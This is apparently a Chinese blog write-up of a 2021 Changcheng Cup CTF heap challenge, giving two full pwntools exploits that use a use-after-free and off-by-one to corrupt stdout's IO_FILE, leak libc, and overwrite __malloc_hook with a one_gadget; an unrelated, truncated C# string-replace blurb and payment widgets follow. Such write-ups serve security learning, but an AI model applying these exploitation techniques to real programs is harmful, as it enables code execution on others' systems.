2021 长城杯 pwn K1ng_in_h3Ap_I

本文通过两个具体的实例展示了如何利用UAF(Use After Free)漏洞进行攻击,包括利用off-by-one漏洞构造攻击以及仅使用UAF漏洞攻击IO_FILE的chunk。文章详细介绍了利用这些漏洞泄露libc基址并控制malloc_hook的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述libc是2.23

菜单
在这里插入图片描述

add
在这里插入图片描述

free
在这里插入图片描述显然是有uaf。

edit
在这里插入图片描述就是输入

输入函数其实还有off by one。

有个后门
在这里插入图片描述

我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻击stdout,但是又因为后门给了我们地址,所以就解决了爆破这个问题。然后就攻击IO_FILE泄露libc,再攻击malloc_hook就好啦。

第一个exp是利用off by one来构造的。
exp

from pwn import *

r = process("./pwn1")

context.arch='amd64'

elf=ELF("./pwn1")
libc=ELF("./libc.so.6")

def add(index,size):
    r.sendlineafter(">> \n",'1')
    r.sendlineafter("input index:\n",str(index))
    r.sendlineafter("input size:\n",str(size))
def free(index):
    r.sendlineafter(">> \n",'2')
    r.sendlineafter("input index:\n",str(index))
def edit(index,context):
    r.sendlineafter(">> \n",'3')
    r.sendlineafter("input index:\n",str(index))
    r.sendlineafter("input context:\n",context)
def gift():
    r.sendlineafter(">> \n",'666')
    
gift()
stdout = int(r.recv(8),16) + 0xc04620 - 0x894810

add(0,0x28)
add(1,0x30)
add(2,0x60)
add(3,0x20)
edit(0,'a'*0x28+'\xb1')
free(1)
free(2)
add(4,0x30)
edit(2,p64(stdout-0x43)[0:2])
add(5,0x60)
add(6,0x60)
edit(6,'a'*3+p64(0) * 6 + p64(0xfbad1877) + p64(0) * 3 + '\x58')

libc_base=u64(r.recv(6).ljust(8,b'\x00'))-131-libc.sym['_IO_2_1_stdout_']
free_hook=libc_base+libc.sym['__free_hook']

system = libc_base+libc.sym['system']
malloc_hook = libc_base+libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4527a
realloc = libc_base+libc.sym['realloc']

add(7,0x60)
add(8,0x60)
free(8)
edit(8,p64(malloc_hook-0x23))
add(0,0x60)
add(1,0x60)
edit(1,'a'*11 + p64(one_gadget) + p64(realloc+13))

add(2,0x20)

r.interactive()

第二个exp没有使用off by one,仅仅用uaf来构造攻击IO_FILE的chunk。
exp

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

def add(index, size):
    r.sendlineafter(">> \n", "1")
    r.sendlineafter("input index:\n", str(index))
    r.sendlineafter("input size:\n", str(size))

def delete(index):
    r.sendlineafter(">> \n", "2")
    r.sendlineafter("input index:\n", str(index))

def edit(index, content):
    r.sendlineafter(">> \n", "3")
    r.sendlineafter("input index:\n", str(index))
    r.sendlineafter("input context:\n", content)

def exp():
    r.sendlineafter(">> \n", "666")
    r.recvuntil("0x")
    s = int(r.recv(6), 16) + 0x36fe10 - 0x43
    print hex(s)
    
    add(0, 0x80)
    add(1, 0x80)
    add(2, 0x68)
    add(3, 0x68)
    add(4, 0x68)
    add(5, 0x68)
    delete(0)
    delete(1)
    delete(2)

    add(0, 0xf0)
    edit(0, 'a' * 0x80 + p64(0) + p64(0x1e1))
    delete(1)

    add(6, 0x80)
    delete(6)
    add(6, 0x90)
    edit(6, 'a' * 0x80 + p64(0) + p64(0x71))
    
    edit(2,  p16(s & 0xffff))
    
    add(6, 0x68)
    add(7, 0x68)

    
    edit(7, '\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + '\x58') 
    
    libc_base = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3c56a3
    print "libc_base = " + hex(libc_base)
    print "success!"
    
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    realloc = libc_base + libc.sym['realloc']
    delete(4)
    
    edit(3, p64(malloc_hook - 0x23))
    add(3, 0x60)
    add(4, 0x60)

    edit(4,'a'*11 + p64(one_gadget) + p64(realloc+13))

    add(5,0x20)

    r.interactive()
   
r = process('./pwn1')
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")

exp()

但是其实人家原题的意思可能是想用house of roman。
但是我感觉没啥用。

要注意的是一个坑
在设置flag标志位的时候要设置成0xfbad1877,否则会没输出。

资源下载链接为: https://pan.quark.cn/s/f989b9092fc5 今天给大家分享一个关于C#自定义字符串替换方法的实例,希望能对大家有所帮助。具体介绍如下: 之前我遇到了一个算法题,题目要求将一个字符串中的某些片段替换为指定的新字符串片段。例如,对于源字符串“abcdeabcdfbcdefg”,需要将其中的“cde”替换为“12345”,最终得到的结果字符串是“ab12345abcdfb12345fg”,即从“abcdeabcdfbcdefg”变为“ab12345abcdfb12345fg”。 经过分析,我发现不能直接使用C#自带的string.Replace方法来实现这个功能。于是,我决定自定义一个方法来完成这个任务。这个方法的参数包括:原始字符串originalString、需要被替换的字符串片段strToBeReplaced以及用于替换的新字符串片段newString。 在实现过程中,我首先遍历原始字符串,查找需要被替换的字符串片段strToBeReplaced出现的位置。找到后,就将其替换为新字符串片段newString。需要注意的是,在替换过程中,要确保替换操作不会影响后续的查找和替换,避免遗漏或重复替换的情况发生。 以下是实现代码的大概逻辑: 初始化一个空的字符串result,用于存储最终替换后的结果。 使用IndexOf方法在原始字符串中查找strToBeReplaced的位置。 如果找到了,就将originalString中从开头到strToBeReplaced出现位置之前的部分,以及newString拼接到result中,然后将originalString的查找范围更新为strToBeReplaced之后的部分。 如果没有找到,就直接将剩余的originalString拼接到result中。 重复上述步骤,直到originalStr
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值